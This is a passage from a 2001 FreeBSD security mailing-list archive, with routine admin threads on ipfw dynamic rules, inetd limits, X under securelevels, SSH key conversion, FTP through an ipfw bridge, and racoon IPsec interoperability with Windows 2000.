what would "removing" them from the list gain you besides prettier output? BTW, if you want prettier output, I have this csh alias, ipfwsh ipfw show | awk -F'[ ,]' '/^##/ { dyn = 1 } ( dyn == 1 ) { if ( $5 != 0 ) { print }; next } { print }' To trim expired rules out. -- Crist J. Clark cjclark@alum.mit.edu To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 9 1: 2:24 2001 Delivered-To: freebsd-security@freebsd.org Received: from icon.icon.bg (icon.bg [62.176.80.58]) by hub.freebsd.org (Postfix) with SMTP id ED03437B699 for ; Tue, 9 Jan 2001 01:02:03 -0800 (PST) Received: (qmail 31050 invoked by uid 1144); 9 Jan 2001 09:01:55 -0000 Date: Tue, 9 Jan 2001 11:01:55 +0200 From: Victor Ivanov To: freebsd-security@freebsd.org Subject: Re: quick question Message-ID: <20010109110155.B30313@icon.icon.bg> References: <3A5AC33D.5272EAA6@redshells.net> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="+pHx0qQiF2pBVqBT" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <3A5AC33D.5272EAA6@redshells.net>; from admin@redshells.net on Tue, Jan 09, 2001 at 01:52:30AM -0600 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org --+pHx0qQiF2pBVqBT Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Jan 09, 2001 at 01:52:30AM -0600, Chris wrote: > Has anyone seen the following error with inetd? If so, how would I fix > this?: >=20 > inetd[75113]: auth/tcp server failing (looping), service terminated Look at the man page. The service is terminated for 10 minutes because of limits exceeded: runs per minute, runs per host for minute or total services run at the same time. I guess you're sending many mails at this time, the remote smtp servers are requesting ident(auth) for every connection. If you= run inetd with the default limits this won't happen. But I may be wrong.. I have this error periodically showing in the logs. --=20 Players win and Winners play Have a lucky day --+pHx0qQiF2pBVqBT Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.1i iQCVAwUBOlrTgfD9M5lef5W3AQHQ2QP/XJ1unyv8CKdqcLee/df3x+Iu1XHgu5i2 7Z9Nfj/MrdMkXtTkQE36JQH64rjXe2FXlI2ArSs2TCfNIG87vxXl1/rXow5A8Vuf OQHeaDZVHrjrCk8aoxpwdKhrxfqBCRoF1Htorf2tkCvAHhFXf3TbX4TbkpzaIDJF MBiWiu9p4oM= =D++K -----END PGP SIGNATURE----- --+pHx0qQiF2pBVqBT-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 9 1: 7:20 2001 Delivered-To: freebsd-security@freebsd.org Received: from mail.redshells.net (mail.redshells.net [208.189.113.190]) by hub.freebsd.org (Postfix) with SMTP id 3EDF137B69E for ; Tue, 9 Jan 2001 01:06:59 -0800 (PST) Received: (qmail 37670 invoked from network); 9 Jan 2001 09:07:03 -0000 Received: from unknown (HELO redshells.net) (208.189.113.201) by mail.redshells.net with SMTP; 9 Jan 2001 09:07:03 -0000 Message-ID: <3A5AD4A1.DCA03534@redshells.net> Date: Tue, 09 Jan 2001 03:06:41 -0600 From: Chris X-Mailer: Mozilla 4.74 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-security@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: re: quick question Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Thanks Dan, that fixed the problem. Best Regards, Chris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 9 1:47:12 2001 Delivered-To: freebsd-security@freebsd.org Received: from serenity.mcc.ac.uk (serenity.mcc.ac.uk [130.88.200.93]) by hub.freebsd.org (Postfix) with ESMTP id E94F137B400 for ; Tue, 9 Jan 2001 01:46:52 -0800 (PST) Received: from dogma.freebsd-uk.eu.org ([130.88.200.97]) by serenity.mcc.ac.uk with esmtp (Exim 2.05 #4) id 14FvMi-0008ur-00 for freebsd-security@freebsd.org; Tue, 9 Jan 2001 09:46:52 +0000 Received: (from rasputin@localhost) by dogma.freebsd-uk.eu.org (8.11.1/8.11.1) id f099kph24086 for freebsd-security@freebsd.org; Tue, 9 Jan 2001 09:46:51 GMT (envelope-from rasputin) Date: Tue, 9 Jan 2001 09:46:51 +0000 From: Rasputin To: freebsd-security@freebsd.org Subject: Running X in securelevels > 0 ? Message-ID: <20010109094651.A24037@dogma.freebsd-uk.eu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Morning all and Happy New Year. Has anyone managed to get X working in securelevel 1? I get errors when it tries to open /dev/io, which isn't that surprising (from man init): " 1 Secure mode - the system immutable and system append-only flags may not be turned off; disks for mounted filesystems, /dev/mem, and /dev/kmem may not be opened for writing; kernel modules (see kld(4)) may not be loaded or unloaded." But I was talking to an OpenBSD user over the weekend who said that 2.7 somehow manages to reserve access to certsain devices by running some kind of wrapper before the securelevel is used (although that may be bull). Has anybody managed this, or have any references for the OpenBSD way of doing it? Thanks. -- Rasputin Jack of All Trades :: Master of Nuns To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 9 2:12:23 2001 Delivered-To: freebsd-security@freebsd.org Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31]) by hub.freebsd.org (Postfix) with ESMTP id A85A237B401 for ; Tue, 9 Jan 2001 02:12:05 -0800 (PST) Received: (from des@localhost) by flood.ping.uio.no (8.9.3/8.9.3) id LAA98699; Tue, 9 Jan 2001 11:12:02 +0100 (CET) (envelope-from des@ofug.org) X-URL: http://www.ofug.org/~des/ X-Disclaimer: The views expressed in this message do not necessarily coincide with those of any organisation or company with which I am or have been affiliated. To: cjclark@alum.mit.edu Cc: Marc Silver , freebsd-security@FreeBSD.ORG Subject: Re: What do these mean? References: <20010109084540.Y94766@draenor.org> <20010108234245.J95729@rfx-64-6-211-149.users.reflexco> <20010109094650.C94766@draenor.org> <20010109003107.R95729@rfx-64-6-211-149.users.reflexco> From: Dag-Erling Smorgrav Date: 09 Jan 2001 11:12:02 +0100 In-Reply-To: "Crist J. Clark"'s message of "Tue, 9 Jan 2001 00:31:07 -0800" Message-ID: Lines: 17 User-Agent: Gnus/5.0802 (Gnus v5.8.2) Emacs/20.4 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org "Crist J. Clark" writes: > Pretty much the best reason I can give is because that is just how it > works. Perhaps it is best to look at it this way, what would > "removing" them from the list gain you besides prettier output? There's a hard limit on the number of dynamic rules. This isn't the only bogosity related to dynamic rules in ipfw; for instance, 'ipfw list' always lists *all* dynamic rules even if you specify a rule number on the command line (it should only display dynamic rules which were created by the rules listed on the command line). Unfortunately, ipfw(8) is so poorly written that it's not at all trivial to fix. DES -- Dag-Erling Smorgrav - des@ofug.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 9 2:55:31 2001 Delivered-To: freebsd-security@freebsd.org Received: from guardian.hermes.si (guardian.hermes.si [193.77.5.150]) by hub.freebsd.org (Postfix) with ESMTP id 0F65337B400 for ; Tue, 9 Jan 2001 02:55:10 -0800 (PST) Received: from hermes.si (primus.hermes.si [193.77.5.98]) by guardian.hermes.si (8.9.3/8.9.3) with ESMTP id LAA29862; Tue, 9 Jan 2001 11:53:10 +0100 (MET) Received: (from uucp@localhost) by hermes.si (8.9.3/8.9.3) id LAA27198; Tue, 9 Jan 2001 11:53:09 +0100 Received: from hal9000.hermes.si(10.17.5.136) by primus.hermes.si via smap (V2.1) id xma019216; Tue, 9 Jan 01 11:52:01 +0100 Received: by hal9000.hermes.si with Internet Mail Service (5.5.2650.21) id ; Tue, 9 Jan 2001 11:52:00 +0100 Message-ID: From: Matjaz Martincic To: "'Rasputin'" , freebsd-security@FreeBSD.ORG Subject: RE: Running X in securelevels > 0 ? Date: Tue, 9 Jan 2001 11:51:59 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Had the same problem. I somehow managed to bypass it by creating the shell script that first run the Xserver and then change the securelevel with sysctl. And it worked. But the problem is that the securelevel is not changed at boot time :(, so you have to run X to set it first. rgds, Matjaz ______________________________________ OmniBack Quality Assurance Team Matjaz Martincic HERMES SoftLab Storage & Data Management Litijska 51 tel: +386 61 1865 338 Ljubljana SI-1000 fax: +386 61 1865 270 Slovenia E-mail: matjaz.martincic@hermes.si ______________________________________ -----Original Message----- From: Rasputin [mailto:rasputin@FreeBSD-uk.eu.org] Sent: Tuesday, January 09, 2001 10:47 AM To: freebsd-security@FreeBSD.ORG Subject: Running X in securelevels > 0 ? Morning all and Happy New Year. Has anyone managed to get X working in securelevel 1? I get errors when it tries to open /dev/io, which isn't that surprising (from man init): " 1 Secure mode - the system immutable and system append-only flags may not be turned off; disks for mounted filesystems, /dev/mem, and /dev/kmem may not be opened for writing; kernel modules (see kld(4)) may not be loaded or unloaded." But I was talking to an OpenBSD user over the weekend who said that 2.7 somehow manages to reserve access to certsain devices by running some kind of wrapper before the securelevel is used (although that may be bull). Has anybody managed this, or have any references for the OpenBSD way of doing it? Thanks. -- Rasputin Jack of All Trades :: Master of Nuns To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 9 6: 0:20 2001 Delivered-To: freebsd-security@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id 5875B37B400 for ; Tue, 9 Jan 2001 06:00:03 -0800 (PST) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.11.1/8.11.1) with SMTP id f09DvF763918; Tue, 9 Jan 2001 08:57:15 -0500 (EST) (envelope-from robert@fledge.watson.org) Date: Tue, 9 Jan 2001 08:57:15 -0500 (EST) From: Robert Watson X-Sender: robert@fledge.watson.org To: Rasputin Cc: freebsd-security@freebsd.org Subject: Re: Running X in securelevels > 0 ? In-Reply-To: <20010109094651.A24037@dogma.freebsd-uk.eu.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, 9 Jan 2001, Rasputin wrote: > But I was talking to an OpenBSD user over the weekend who said that 2.7 > somehow manages to reserve access to certsain devices by running some > kind of wrapper before the securelevel is used (although that may be > bull). OpenBSD has an "apperture" driver that presumably works by making a specific subset of hardware controls available in higher securelevels, carefully selected so that the subset is sufficient for the purposes of graphics in X, but not sufficient to violate kernel protections. Unfortunately, I've not had the opportunity to look more closely than that at this point. If you're interested in looking at porting it, I think there would be interest in integrating it into the base FreeBSD source tree: while the OpenBSD project uses it specifically to address concerns with securelevels, it would also be useful in other mandatory access control environmnents, or environments where the privilege model is not the root-trumps-all model. When porting it, it would be useful to do an analysis of how effective the driver is at providing only the necessary subset, and that it doesn't allow access to video subsystem functions that might be manipulable to gain privilege, or violate other system policies. Having X functionality without the ability to directly manipulate all hardware would be very desirable. Robert N M Watson FreeBSD Core Team, TrustedBSD Project robert@fledge.watson.org NAI Labs, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 9 6:55:30 2001 Delivered-To: freebsd-security@freebsd.org Received: from deimos.atltechgroup.com (deimos.atltechgroup.com [64.1.34.186]) by hub.freebsd.org (Postfix) with ESMTP id 28B7237B400 for ; Tue, 9 Jan 2001 06:55:13 -0800 (PST) Received: from [192.168.1.5] by deimos.atltechgroup.com for ue@nathan.ruhr.de id JAA15357; Tue Jan 9 09:55:06 2001 Message-Id: <4.3.2.7.2.20010109095053.00b052e0@netdepot.com> X-Sender: sreber@netdepot.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Tue, 09 Jan 2001 09:55:02 -0500 Subject: Re: ssh config assistance In-Reply-To: <20010109073940.J4211@nathan.ruhr.de> References: <4.3.2.7.2.20010108173133.00aeb380@netdepot.com> <4.3.2.7.2.20010108173133.00aeb380@netdepot.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed To: Udo Erdelhoff , freebsd-security@FreeBSD.ORG From: Scott Reber Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Thank you! This is the suggestion that resolved the problem. The actual working syntax was: ssh-keygen -X -f temp >> authorized_keys2 Thanks again. At 1/9/01 07:39 AM +0100, Udo Erdelhoff wrote: >Hi, > > I am running 4.2R clean out of the box. I've tried creating > > ~/.ssh/authorized_keys2 and copying the clients' public key into it > > but to no avail. > >you'll probably have to convert the public key into the DSA format used >by OpenSSH. Rename the file with the public key to temp and run >ssh-keygen -X < temp >> authorized_keys2 _________________________________________________________________ Scott Reber To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 9 8:54: 5 2001 Delivered-To: freebsd-security@freebsd.org Received: from obelix.rby.hk-r.se (obelix.rby.hk-r.se [194.47.134.4]) by hub.freebsd.org (Postfix) with ESMTP id 1739737B698; Tue, 9 Jan 2001 08:53:37 -0800 (PST) Received: from ogre.rby.hk-r.se (ogre [194.47.134.178]) by obelix.rby.hk-r.se (8.10.2/8.10.2) with ESMTP id f09GrR609974; Tue, 9 Jan 2001 17:53:27 +0100 (MET) Received: from localhost (t98pth@localhost) by ogre.rby.hk-r.se (8.10.2/8.10.2) with ESMTP id f09GrPN08946; Tue, 9 Jan 2001 17:53:25 +0100 (MET) Date: Tue, 9 Jan 2001 17:53:25 +0100 (MET) From: =?ISO-8859-1?Q?P=E4r_Thoren?= To: freebsd-questions@freebsd.org, freebsd-security@freebsd.org Subject: IPFW and the FTP protokoll Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 Content-Transfer-Encoding: QUOTED-PRINTABLE Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi! I have fsbsd acting as a bridge with ipfw. Everything is working fine except the FTP protokoll. I the following to rules to allow ftp: # FTP-DATA. ${ipfw} add pass tcp from any to any 20 in via ${oif} # FTP. ${ipfw} add pass tcp from any to any 21 in via ${oif} To my knowledge ftp uses the ftp port (default 21) and ftpport -1 for data and the result for commands like 'ls'. The problem. I can log into a ftp server behind the firewall with no problem (port 21). But when I try to execute ls or another command it doesn=B4t work. Nothing happends. I used the program tcpflow to monitor the tcpinfo when using ftp when the firewall was open for all traffic. The result was: (10.0.0.1 ftp client) (192.168.1.1 ftp server behind firewall) --------- 10.0.0.1.01034-192.168.1.1.00021 USER admin PASS ftppass SYST EPSV LIST --------- 192.168.1.1.00021-10.0.0.1.01034 220 ftp.behind.firewall FTP server (Version 6.00LS) ready. 331 Password required for admin. 230 User admin logged in. 215 UNIX Type: L8 Version: BSD-199506 229 Entering Extended Passive Mode (|||49175|) 150 Opening ASCII mode data connection for '/bin/ls'. 226 Transfer complete. -------- 192.168.1.1.49175-10.0.0.1.01035 -rw------- 1 admin wheel 3889 Jan 9 17:21 .bash_history -rw-r--r-- 1 admin wheel 264 Aug 17 19:04 .bash_profile -rw-r--r-- 1 admin wheel 628 Oct 19 12:51 .cshrc -rw------- 1 admin wheel 1882 Oct 25 14:03 .history -rw-r--r-- 1 admin wheel 299 Oct 19 12:51 .login -rw-r--r-- 1 admin wheel 160 Oct 19 12:51 .login_conf -rw------- 1 admin wheel 371 Oct 19 12:51 .mail_aliases The connections over port 21 seems fine but the result of 'ls' isn=B4t over port 20. =20 Any ideas why?! /P=E4r To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 9 9:56:55 2001 Delivered-To: freebsd-security@freebsd.org Received: from mail03.rapidsite.net (mail03.rapidsite.net [207.158.192.52]) by hub.freebsd.org (Postfix) with SMTP id 86AF637B6DA for ; Tue, 9 Jan 2001 09:56:28 -0800 (PST) Received: from www.ofehr.com (131.103.236.149) by mail03.rapidsite.net (RS ver 1.0.58s) with SMTP id 024055463; Tue, 9 Jan 2001 12:55:29 -0500 (EST) Received: from miranda.ofehr.com (miranda.ofehr.com [192.168.67.200]) by ganymed.ofehr.com (8.11.1/8.9.3) with ESMTP id f09HtP810834; Tue, 9 Jan 2001 18:55:26 +0100 (CET) (envelope-from oliver.fehr@ofehr.com) Subject: RE: IPFW and the FTP protokoll Date: Tue, 9 Jan 2001 18:55:25 +0100 Message-ID: <744F8CC0DC48FA4C8757A01D3BFFF9071524@miranda.ofehr.com> X-MS-Has-Attach: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-MS-TNEF-Correlator: Thread-Topic: IPFW and the FTP protokoll Thread-Index: AcB6ZVgIeWx4Hbi2T2aPfGQ8lztBhw== From: "Oliver Fehr" content-class: urn:content-classes:message X-MimeOLE: Produced By Microsoft Exchange V6.0.4397.0 To: =?iso-8859-1?Q?P=E4r_Thoren?= , , X-Loop-Detect: 1 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org this is because the remote server cannot initiate a connection to your machine port 20 (which is ok). you can use ftp -p to do what you want. this opens a passive ftp connection without using port 20. hope this helps oliver > -----Original Message----- > From: owner-freebsd-security@FreeBSD.ORG > [mailto:owner-freebsd-security@FreeBSD.ORG]On Behalf Of P=E4r Thoren > Sent: Tuesday, January 09, 2001 5:53 PM > To: freebsd-questions@freebsd.org; freebsd-security@freebsd.org > Subject: IPFW and the FTP protokoll >=20 >=20 > Hi! >=20 >=20 > I have fsbsd acting as a bridge with ipfw. > Everything is working fine except the FTP protokoll. >=20 > I the following to rules to allow ftp: >=20 > # FTP-DATA. > ${ipfw} add pass tcp from any to any 20 in via ${oif} > # FTP. > ${ipfw} add pass tcp from any to any 21 in via ${oif} >=20 >=20 > To my knowledge ftp uses the ftp port (default 21) and=20 > ftpport -1 for data > and the result for commands like 'ls'. >=20 > The problem. > I can log into a ftp server behind the firewall with no problem (port > 21). But when I try to execute ls or another command it doesn=B4t = work. > Nothing happends. >=20 > I used the program tcpflow to monitor the tcpinfo when using > ftp when the firewall was open for all traffic. The result was: >=20 > (10.0.0.1 ftp client) > (192.168.1.1 ftp server behind firewall) >=20 > --------- > 10.0.0.1.01034-192.168.1.1.00021 >=20 > USER admin > PASS ftppass > SYST > EPSV > LIST >=20 >=20 > --------- > 192.168.1.1.00021-10.0.0.1.01034 >=20 > 220 ftp.behind.firewall FTP server (Version 6.00LS) ready. > 331 Password required for admin. > 230 User admin logged in. > 215 UNIX Type: L8 Version: BSD-199506 > 229 Entering Extended Passive Mode (|||49175|) > 150 Opening ASCII mode data connection for '/bin/ls'. > 226 Transfer complete. >=20 >=20 >=20 > -------- > 192.168.1.1.49175-10.0.0.1.01035 >=20 > -rw------- 1 admin wheel 3889 Jan 9 17:21 .bash_history > -rw-r--r-- 1 admin wheel 264 Aug 17 19:04 .bash_profile > -rw-r--r-- 1 admin wheel 628 Oct 19 12:51 .cshrc > -rw------- 1 admin wheel 1882 Oct 25 14:03 .history > -rw-r--r-- 1 admin wheel 299 Oct 19 12:51 .login > -rw-r--r-- 1 admin wheel 160 Oct 19 12:51 .login_conf > -rw------- 1 admin wheel 371 Oct 19 12:51 .mail_aliases >=20 >=20 > The connections over port 21 seems fine but the result of=20 > 'ls' isn=B4t over > port 20. > =20 > Any ideas why?! >=20 > /P=E4r >=20 >=20 >=20 >=20 > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message >=20 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 9 9:58:28 2001 Delivered-To: freebsd-security@freebsd.org Received: from orthanc.ab.ca (207-167-15-66.dsl.worldgate.ca [207.167.15.66]) by hub.freebsd.org (Postfix) with ESMTP id 02C0837B6D5 for ; Tue, 9 Jan 2001 09:58:08 -0800 (PST) Received: from orthanc.ab.ca (localhost [127.0.0.1]) by orthanc.ab.ca (8.11.1/8.11.1) with ESMTP id f09Hr4x03729; Tue, 9 Jan 2001 10:53:04 -0700 (MST) (envelope-from lyndon@orthanc.ab.ca) Message-Id: <200101091753.f09Hr4x03729@orthanc.ab.ca> To: Dag-Erling Smorgrav Cc: cjclark@alum.mit.edu, Marc Silver , freebsd-security@FreeBSD.ORG Subject: Re: What do these mean? In-reply-to: Your message of "09 Jan 2001 11:12:02 +0100." Date: Tue, 09 Jan 2001 10:53:04 -0700 From: Lyndon Nerenberg Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >>>>> "Dag-Erling" == Dag-Erling Smorgrav writes: Dag-Erling> This isn't the only bogosity related to dynamic rules Dag-Erling> in ipfw; for instance, 'ipfw list' always lists *all* Dag-Erling> dynamic rules even if you specify a rule number on the Dag-Erling> command line (it should only display dynamic rules Dag-Erling> which were created by the rules listed on the command Dag-Erling> line). Please see PR bin/18550, which has been sitting in the queue for eight months. It contains a fix for this behaviour. --lyndon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 9 9:59:25 2001 Delivered-To: freebsd-security@freebsd.org Received: from virtual.sysadmin-inc.com (lists.sysadmin-inc.com [209.16.228.140]) by hub.freebsd.org (Postfix) with ESMTP id B5E2237B6DA for ; Tue, 9 Jan 2001 09:58:53 -0800 (PST) Received: from wkst ([209.16.228.146]) by virtual.sysadmin-inc.com (8.9.1/8.9.1) with SMTP id NAA20890 for ; Tue, 9 Jan 2001 13:04:32 -0500 Reply-To: From: "Peter Brezny" To: Subject: RE: What do these mean? Date: Tue, 9 Jan 2001 12:58:07 -0800 Message-ID: <002301c07a7e$de096700$46010a0a@sysadmininc.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) In-reply-to: X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Importance: Normal Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org If ipfw is so poorly written, is anyone working on cleaning it up, or are people just switching to ipforward? Peter Brezny SysAdmin Services Inc. -----Original Message----- From: owner-freebsd-security@FreeBSD.ORG [mailto:owner-freebsd-security@FreeBSD.ORG]On Behalf Of Dag-Erling Smorgrav Sent: Tuesday, January 09, 2001 2:12 AM To: cjclark@alum.mit.edu Cc: Marc Silver; freebsd-security@FreeBSD.ORG Subject: Re: What do these mean? "Crist J. Clark" writes: > Pretty much the best reason I can give is because that is just how it > works. Perhaps it is best to look at it this way, what would > "removing" them from the list gain you besides prettier output? There's a hard limit on the number of dynamic rules. This isn't the only bogosity related to dynamic rules in ipfw; for instance, 'ipfw list' always lists *all* dynamic rules even if you specify a rule number on the command line (it should only display dynamic rules which were created by the rules listed on the command line). Unfortunately, ipfw(8) is so poorly written that it's not at all trivial to fix. DES -- Dag-Erling Smorgrav - des@ofug.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 9 12: 2: 1 2001 Delivered-To: freebsd-security@freebsd.org Received: from aker.com.br (unknown [200.252.12.5]) by hub.freebsd.org (Postfix) with ESMTP id A11EA37B401; Tue, 9 Jan 2001 12:01:29 -0800 (PST) Received: from aker.com.br (jorge.aker.com.br [10.0.0.16]) by aker.com.br (8.9.3/8.9.3) with ESMTP id QAA00847; Tue, 9 Jan 2001 16:45:00 -0200 (BRST) (envelope-from jorge@aker.com.br) Message-ID: <3A5B6E27.5787D716@aker.com.br> Date: Tue, 09 Jan 2001 18:01:43 -0200 From: Jorge Peixoto Vasquez Organization: Aker Security Solutions X-Mailer: Mozilla 4.73 [en] (X11; I; FreeBSD 4.2-STABLE i386) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-net@freebsd.org, freebsd-security@freebsd.org Subject: IPSEC: racoon and Win2K Content-Type: multipart/mixed; boundary="------------2BB9B253F9FAFFDCA0F7B238" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org This is a multi-part message in MIME format. --------------2BB9B253F9FAFFDCA0F7B238 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit I've read the mini-howto on how to setup IPSEC on the FreeBSD (http://asherah.dyndns.org/~josh/ipsec-howto.txt) and have been most succesful so far. I would be very glad if anyone could help me on the following matter: The only problem I've encountered is that, when making Win2K and FreeBSD interoperate, the IKE's phase 2 only suceeds if Win2K initiates the process. If racoon is to start it, Win2k will not accept any proposal for phase 2, complaining that the dh group number (which should correctly be either 1 or 2) received is 1 or 2 (depending on the pfs_group setting in racoon.conf) and not null(0). If I try setting pfs_group to null, I get a parse error. All the docs I found in the kame site (www.kame.net), the handbook, and the man pages haven't been of any help too. Thank you very much for your attention, Sincerely, jOrge p.s. I am using FreeBSD 4.2-Stable, racoon 20001111a and (YES) I got the high-encryption pack and SP1 installed on the Win2K box. -- Jorge Peixoto Vasquez, Elet. Eng. Aker Security Solutions tel. +55 - 61 - 340 9083 --------------2BB9B253F9FAFFDCA0F7B238 Content-Type: text/plain; charset=us-ascii; name="racoon.conf" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="racoon.conf" # search this file for pre_shared_key with various ID key. path pre_shared_key "/usr/local/etc/racoon/psk.txt" ; # "log" specifies logging level. It is followed by either "info", "notify", # "debug" or "debug2". log debug; # "padding" defines some parameter of padding. You should not touch these. padding { maximum_length 20; # maximum padding length. randomize off; # enable randomize length. strict_check off; # enable strict check. exclusive_tail off; # extract last one octet. } # Specification of default various timer. timer { # These value can be changed per remote node. counter 5; # maximum trying count to send. interval 20 sec; # maximum interval to resend. persend 1; # the number of packets per a send. # timer for waiting to complete each phase. phase1 30 sec; phase2 20 sec; } remote anonymous { exchange_mode main; doi ipsec_doi; situation identity_only; nonce_size 16; lifetime time 1 min; # sec,min,hour lifetime byte 5 MB; # B,KB,GB initial_contact on; support_mip6 on; proposal_check obey; # obey, strict or claim proposal { encryption_algorithm 3des; hash_algorithm sha1; authentication_method pre_shared_key ; dh_group 2; } } sainfo anonymous { # does not matter if 1 or 2, zero (expected by Win2K) won't parse. pfs_group 2; lifetime time 36000 sec; lifetime byte 50000 KB; encryption_algorithm 3des,des ; authentication_algorithm hmac_sha1,hmac_md5; compression_algorithm deflate ; } --------------2BB9B253F9FAFFDCA0F7B238-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 9 13: 1: 3 2001 Delivered-To: freebsd-security@freebsd.org Received: from mail1.toronto.istar.net (mail1.toronto.istar.net [209.89.75.17]) by hub.freebsd.org (Postfix) with ESMTP id C074E37B699 for ; Tue, 9 Jan 2001 13:00:41 -0800 (PST) Received: from d141-117-39.home.cgocable.net ([24.141.117.39]) by mail1.toronto.istar.net with esmtp (Exim 2.02 #1) id 14G5t6-0007Jh-00 for security@freebsd.org; Tue, 9 Jan 2001 16:01:00 -0500 Date: Tue, 9 Jan 2001 16:07:15 -0500 (EST) From: Dru X-Sender: genisis@x1-6-00-50-ba-de-36-33.kico1.on.home.com To: security@freebsd.org Subject: npasswd (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi gurus, I'll try asking this question here as I haven't received a response from questions. I see from the archives that there was a bit of traffic on npasswd in July as it was recommended for enforcing good passwords. I've followed the detailed instructions for building npasswd at http://www.cert.org/security-improvement/implementations/i028.05.html and survive the make depend but not the make. I've tried a LOT of different combinations of the questions asked in the configure script but I'm not a programmer so am truly guessing when they're asking about "int" and "void" and such. Anyone have any hints on running the configure script for FreeBSD 4.2? I've also tried running Configure using the default switch, but no better luck. Thanks. Dru ---------- Forwarded message ---------- Date: Mon, 8 Jan 2001 20:46:44 -0500 (EST) From: Dru To: questions@freebsd.org Subject: npasswd Has anyone been able to get "npasswd" to survive a make on a FreeBSD 4.2 system? I think I must be answering something wrong in the configure script; it's asking for some pretty specific stuff about my programming environment. Dru To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 9 15:52:31 2001 Delivered-To: freebsd-security@freebsd.org Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by hub.freebsd.org (Postfix) with ESMTP id 57BBB37B400; Tue, 9 Jan 2001 15:52:10 -0800 (PST) Received: from kiwi.itojun.org (localhost.itojun.org [127.0.0.1]) by coconut.itojun.org (8.9.3+3.2W/3.7W) with ESMTP id IAA05079; Wed, 10 Jan 2001 08:51:20 +0900 